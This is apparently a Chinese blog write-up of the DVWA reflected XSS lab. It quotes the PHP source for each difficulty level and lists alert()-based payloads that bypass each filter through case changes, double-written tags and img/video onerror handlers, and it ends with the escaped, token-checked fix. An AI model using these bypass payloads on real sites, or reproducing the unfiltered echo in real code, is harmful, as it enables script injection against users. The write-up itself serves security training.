DVWA-XSS(Reflected-反射型)

难度1-Low

查看代码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

没用进行任何过滤,直接将传入的name参数进行输出

payload:

<script>alert(/xss/)</script>
<img src=x one rror='alert(/xss/)'>
等都行

DVWA-XSS(Reflected-反射型)

 

 

难度2-Medium

查看代码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

仅仅是对<script>进行匹配,可以通过大小写或者是双写绕过

payload:

<SCRIPT>alert(/xss/)</SCRIPT>
<s<script>cript>alert(/xss/)</script>

DVWA-XSS(Reflected-反射型)

 

 

难度3-Hjgh

查看代码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

<script>标签已经不能使用了也不能使用javascript来执行了,但是可以利用其他标签或者其他标签的属性来绕过

payload:

<img src=x one rror='alert(/xss/)'>
<video src=x one rror='alert(/xss/)'>

DVWA-XSS(Reflected-反射型)

 

 

Impossible

查看代码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

增加了token并且还进行了Html实体转义尖括号已经无法发挥作用了。

 

上一篇:一招教你数据仓库如何高效批量导入与更新数据


下一篇:DVWA-xss